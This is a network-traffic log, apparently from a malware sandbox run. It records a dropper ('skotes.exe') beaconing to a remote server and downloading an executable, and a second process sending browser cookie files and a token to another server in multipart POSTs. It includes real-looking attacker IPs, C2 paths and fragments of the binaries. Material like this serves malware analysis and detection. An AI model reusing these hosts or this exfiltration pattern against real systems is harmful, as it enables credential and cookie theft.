Nov 24, 2024 10:24:51.711622000 CET	4944	OUT	Data Raw: 24 67 eb 25 37 87 c9 b6 5e f1 a2 d7 d3 03 bc 80 54 a9 3d 20 52 53 33 22 61 c0 50 5a d3 04 23 c8 32 55 1f aa bb a5 0f aa 49 02 6e b0 30 bb 60 fd eb 82 dc cd 53 e9 c7 e8 5b dd 33 cb 2a 7d 1a 8f 3b 83 7a 98 d9 97 22 58 7b 21 62 b8 74 58 8f 60 3d a5 Data Ascii: $g%7^T= RS3"aPZ#2UIn0`S[3*};z"X{!btX`=&.I}!O6Ph~om\)J`NVK+767B"%GSA"V$Ykfd5jcBro7Oaq 3&}D(~GcZe 9
Nov 24, 2024 10:24:51.711723089 CET	4944	OUT	Data Raw: 7b 9b 81 42 00 ae 26 7a a9 71 be 15 76 b0 ba f0 5f 82 04 86 a2 df 57 ce ea b6 96 51 aa 95 61 95 87 f4 6e f4 90 78 f4 05 47 4f 59 1b ef ed bd 32 a6 74 57 52 77 d7 13 82 02 86 b2 e9 75 07 cf c0 29 0a a9 5b 9f 93 48 8b 46 00 92 63 a2 de a3 7c 32 cb Data Ascii: {B&zqv_WQanxGOY2tWRwu)[HFc\|2'{tNlZtxb2CKC<i]2"/w,Uhs.`GoK>QMR>FyC^qgCP}4-*YOe=-_f!u \|uzF;5+
Nov 24, 2024 10:24:51.831037045 CET	14832	OUT	Data Raw: 25 87 10 0d 19 86 20 99 c8 75 03 62 fc 5e a0 b1 1a 55 4c c5 88 63 31 97 40 38 ce bd 0e 79 7c 94 ed 22 a2 d1 2a f3 54 9f 40 85 d7 e1 2d 19 dc 43 39 52 90 30 2f e6 f6 77 22 57 56 b3 97 23 44 a6 c5 b8 0e b6 f6 02 7b 9d 27 7b 2e 3d 7d 68 88 fb 76 26 Data Ascii: % ub^ULc1@8y\|"*T@-C9R0/w"WV#D{'{.=}hv&Oc5s'tfYdAF5rq%6AdxS34Z5ZH/g, >l,uNsWnz8T-%)SIU:K3X5N8Ot.& 0/_#
Nov 24, 2024 10:24:51.931010008 CET	26458	OUT	Data Raw: bc 44 f9 be 85 94 29 3e 0a 26 0c 07 7f c9 d6 8f 2c c4 c1 8e 82 c3 4a 5c ab 7f 66 ea 42 97 5e 40 c5 04 b5 4f c6 5f 3d b0 fd e1 ec 52 69 9d 62 21 de 93 4b a4 ef 40 b2 4d 86 01 02 02 20 ad be 6f a2 f9 81 5f a7 fc 3e 47 52 07 2b ec 13 29 00 16 75 a9 Data Ascii: D)>&,J\fB^@O_=Rib!K@M o_>GR+)u?&1{`p4=faiK3UCOXmd`Y8Ej>snn"X~E1E5BE%#`G~QRjn?t8T[kKMY<yiva}Wu
Nov 24, 2024 10:24:53.436161995 CET	271	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Sun, 24 Nov 2024 09:24:53 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 28 x-ratelimit-reset: 1732442090 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49917	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:24:52.956262112 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 37 32 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008720001&unit=246122658369
Nov 24, 2024 10:24:54.286915064 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:24:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49924	185.215.113.16	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:24:54.466679096 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 24, 2024 10:24:55.836941004 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:24:55 GMT Content-Type: application/octet-stream Content-Length: 2833920 Last-Modified: Sun, 24 Nov 2024 09:23:17 GMT Connection: keep-alive ETag: "6742f085-2b3e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 1f e1 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ++`Ui` @ @.rsrc`2@.idata 8@xnvlzrcj**:@qpgaermy ++@.taggant@+"+@
Nov 24, 2024 10:24:55.836963892 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 10:24:55.836976051 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 10:24:55.837038994 CET	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 10:24:55.837049961 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 10:24:55.837065935 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 10:24:55.837076902 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 10:24:55.837088108 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 10:24:55.837156057 CET	1236	IN	Data Raw: 33 c8 71 59 6c 25 51 df 29 43 e7 56 1c 36 8a 2e 61 25 4e bf c9 52 c0 de 29 43 e7 c8 1a 3a 8a de 5c 25 74 5d 3a f6 0a 67 0b 7a 6b f6 fc 4b ec 7c 1b 3e d5 df b9 25 04 67 07 14 6e af c1 37 21 ac 24 e0 67 5e 7c 4f e8 36 3c 5c 72 34 5b 40 0b e3 8a 22 Data Ascii: 3qYl%Q)CV6.a%NR)C:\%t]:gzkK\|>%gn7!$g^\|O6<\r4[@"J}6zaCrw0]k@p7,[I`l}X+qfah1%Frj%<k(k{M)8;o@2rx~p\|s?4*Dt/$W5!ak$L 5!_&i_aq)"(xSoye'Dm6
Nov 24, 2024 10:24:55.837167978 CET	1236	IN	Data Raw: f2 38 54 7a 17 4a b5 67 b3 6a 75 90 92 6b ef 3a c3 74 9f 70 ab e4 99 aa 71 73 76 4f 34 02 a7 00 23 18 5c ef 27 90 b1 08 2c a6 37 8f 45 97 8e b1 ba c4 a8 25 62 c7 8f af 7a 23 fd 97 34 6c fd 14 79 1b 63 a5 34 af 9d eb d8 66 7f 2c 52 a6 a8 5d 68 1b Data Ascii: 8TzJgjuk:tpqsvO4#\',7E%bz#4lyc4f,R]h/r?~Qx<ava+@DSpEud{&J}-hoBx2Uwm~ey$XJ7saLb&b`!<:qS*upc
Nov 24, 2024 10:24:55.956963062 CET	1236	IN	Data Raw: 6a ac 7c f5 ac 4c 22 8d 70 8c 82 7a 5f 2c c7 5b 4b db 14 c1 5a 28 cd 77 6d 95 85 ef 78 6c 8b bf 30 93 b5 68 8e 70 3a 1c 44 79 99 84 61 e5 e6 1a 6f 42 d2 3e 85 7f b4 27 42 60 a6 24 b4 fd fa 85 4c ef 31 fd 8c d9 2f 78 ac b0 9c 3d 6c 84 06 73 86 70 Data Ascii: j\|L"pz_,[KZ(wmxl0hp:DyaoB>'B`$L1/x=lspdG]kr<I8Am`QyfJ)I;)2kCs>`lYQXI+jgmS%&T[u(Y\8%/35^JmH!gVmo7e1';L`SXF=_Sp-e1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49964	185.215.113.206	80	3172	C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:25:01.861272097 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFBAKEHIEBKJJJJJKKKE Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 45 48 49 45 42 4b 4a 4a 4a 4a 4a 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 66 64 30 32 33 38 34 63 38 35 31 30 61 65 33 63 34 33 34 30 37 36 66 30 63 39 33 61 34 63 39 32 65 65 62 36 64 34 33 34 34 63 31 61 66 39 64 36 34 63 61 34 65 35 66 62 65 66 34 35 36 61 37 33 39 66 35 30 36 66 38 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 45 48 49 45 42 4b 4a 4a 4a 4a 4a 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 45 48 49 45 42 4b 4a 4a 4a 4a 4a 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------CFBAKEHIEBKJJJJJKKKEContent-Disposition: form-data; name="token"3fd02384c8510ae3c434076f0c93a4c92eeb6d4344c1af9d64ca4e5fbef456a739f506f8------CFBAKEHIEBKJJJJJKKKEContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------CFBAKEHIEBKJJJJJKKKEContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------CFBAKEHIEBKJJJJJKKKE--
Nov 24, 2024 10:25:03.686875105 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:25:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 10:25:04.579544067 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECBGCBGCAFIIECBFIDHI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 66 64 30 32 33 38 34 63 38 35 31 30 61 65 33 63 34 33 34 30 37 36 66 30 63 39 33 61 34 63 39 32 65 65 62 36 64 34 33 34 34 63 31 61 66 39 64 36 34 63 61 34 65 35 66 62 65 66 34 35 36 61 37 33 39 66 35 30 36 66 38 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------ECBGCBGCAFIIECBFIDHIContent-Disposition: form-data; name="token"3fd02384c8510ae3c434076f0c93a4c92eeb6d4344c1af9d64ca4e5fbef456a739f506f8------ECBGCBGCAFIIECBFIDHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECBGCBGCAFIIECBFIDHIContent-Disposition: form-data; name="file"------ECBGCBGCAFIIECBFIDHI--
Nov 24, 2024 10:25:05.510544062 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:25:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49975	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:25:04.282635927 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 37 32 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008721001&unit=246122658369
Nov 24, 2024 10:25:05.677665949 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:25:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49980	34.107.221.82	80	6048	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:25:04.937956095 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 10:25:06.071989059 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 17:38:12 GMT Age: 56813 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 10:25:16.174556017 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49990	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:25:07.427756071 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:25:08.812751055 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:25:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	50007	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:25:10.597301006 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:25:11.993136883 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:25:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	50023	185.215.113.206	80	3172	C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:25:12.288206100 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAEHJEBKFCAKKFIEHDBF Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 24, 2024 10:25:12.288230896 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 66 64 30 32 33 Data Ascii: ------CAEHJEBKFCAKKFIEHDBFContent-Disposition: form-data; name="token"3fd02384c8510ae3c434076f0c93a4c92eeb6d4344c1af9d64ca4e5fbef456a739f506f8------CAEHJEBKFCAKKFIEHDBFContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 24, 2024 10:25:14.165275097 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:25:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 10:25:14.961982965 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDAKEHIIDGDAAKECBFB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 44 41 4b 45 48 49 49 44 47 44 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 66 64 30 32 33 38 34 63 38 35 31 30 61 65 33 63 34 33 34 30 37 36 66 30 63 39 33 61 34 63 39 32 65 65 62 36 64 34 33 34 34 63 31 61 66 39 64 36 34 63 61 34 65 35 66 62 65 66 34 35 36 61 37 33 39 66 35 30 36 66 38 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 4b 45 48 49 49 44 47 44 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 4b 45 48 49 49 44 47 44 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BGDAKEHIIDGDAAKECBFBContent-Disposition: form-data; name="token"3fd02384c8510ae3c434076f0c93a4c92eeb6d4344c1af9d64ca4e5fbef456a739f506f8------BGDAKEHIIDGDAAKECBFBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BGDAKEHIIDGDAAKECBFBContent-Disposition: form-data; name="file"------BGDAKEHIIDGDAAKECBFB--
Nov 24, 2024 10:25:15.911067009 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:25:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 10:25:16.975979090 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 10:25:17.426748037 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:25:17 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 24, 2024 10:25:17.426784039 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}U
Nov 24, 2024 10:25:17.427109957 CET	1236	IN	Data Raw: 10 8b 4d 0c 85 ff 74 22 f2 0f 10 07 f2 0f 11 80 30 01 00 00 eb 28 68 05 e0 ff ff e8 7f 0b 08 00 83 c4 04 b8 ff ff ff ff eb 26 c7 80 34 01 00 00 a6 a6 a6 a6 c7 80 30 01 00 00 a6 a6 a6 a6 6a 10 56 6a 00 6a 00 52 51 50 e8 3f 96 06 00 83 c4 1c 5e 5f Data Ascii: Mt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8^
